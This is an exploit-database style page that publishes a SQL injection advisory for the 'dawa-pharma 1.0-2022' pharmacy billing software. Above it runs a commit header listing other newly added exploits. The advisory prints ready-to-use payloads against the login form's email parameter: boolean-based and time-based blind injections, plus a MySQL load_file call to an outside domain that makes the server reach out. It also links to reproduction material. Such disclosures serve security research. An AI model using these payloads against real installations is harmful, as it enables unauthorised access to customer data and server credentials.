c1bcfc6347
13 changes to exploits/shellcodes/ghdb TEM Opera Plus FM Family Transmitter 35.45 - Remote Code Execution TEM Opera Plus FM Family Transmitter 35.45 - XSRF Executables Created with perl2exe < V30.10C - Arbitrary Code Execution Atlassian Confluence Data Center and Server - Authentication Bypass (Metasploit) Automatic-Systems SOC FL9600 FastLine - Directory Transversal Automatic-Systems SOC FL9600 FastLine - The device contains hardcoded login and password for super admin dawa-pharma 1.0-2022 - Multiple-SQLi Moodle 4.3 - Insecure Direct Object Reference Moodle 4.3 - Reflected XSS SuperStoreFinder - Multiple Vulnerabilities Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE) Zoo Management System 1.0 - Unauthenticated RCE
45 lines
No EOL
1.7 KiB
Text
45 lines
No EOL
1.7 KiB
Text
## Title: dawa-pharma-1.0-2022 Multiple-SQLi
|
|
## Author: nu11secur1ty
|
|
## Date: 10/12/2023
|
|
## Vendor: https://www.mayurik.com/
|
|
## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download
|
|
## Reference: https://portswigger.net/web-security/sql-injection
|
|
|
|
|
|
## Description:
|
|
The email parameter appears to be vulnerable to SQL injection attacks.
|
|
The payload '+(select
|
|
load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'
|
|
was submitted in the email parameter. This payload injects a SQL
|
|
sub-query that calls MySQL's load_file function with a UNC file path
|
|
that references a URL on an external domain. The application
|
|
interacted with that domain, indicating that the injected SQL query
|
|
was executed. The attacker can get all the information for the clients
|
|
of this application from the server, and very sensitive information
|
|
for accessing the server by exploiting the vulnerability.
|
|
|
|
[+]Payload:
|
|
```MySQL
|
|
---
|
|
Parameter: email (POST)
|
|
Type: boolean-based blind
|
|
Title: OR boolean-based blind - WHERE or HAVING clause
|
|
Payload: email=-8698' OR 5305=5305-- vvuH&password=mayurik&login=
|
|
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
|
Payload: email=mayuri.infospace@gmail.com'+(select
|
|
load_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+''
|
|
AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)--
|
|
VRdC&password=mayurik&login=
|
|
---
|
|
```
|
|
|
|
|
|
## Reproduce:
|
|
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022
|
|
|
|
|
|
System Administrator - Infrastructure Engineer
|
|
Penetration Testing Engineer
|
|
home page: https://www.nu11secur1ty.com/ |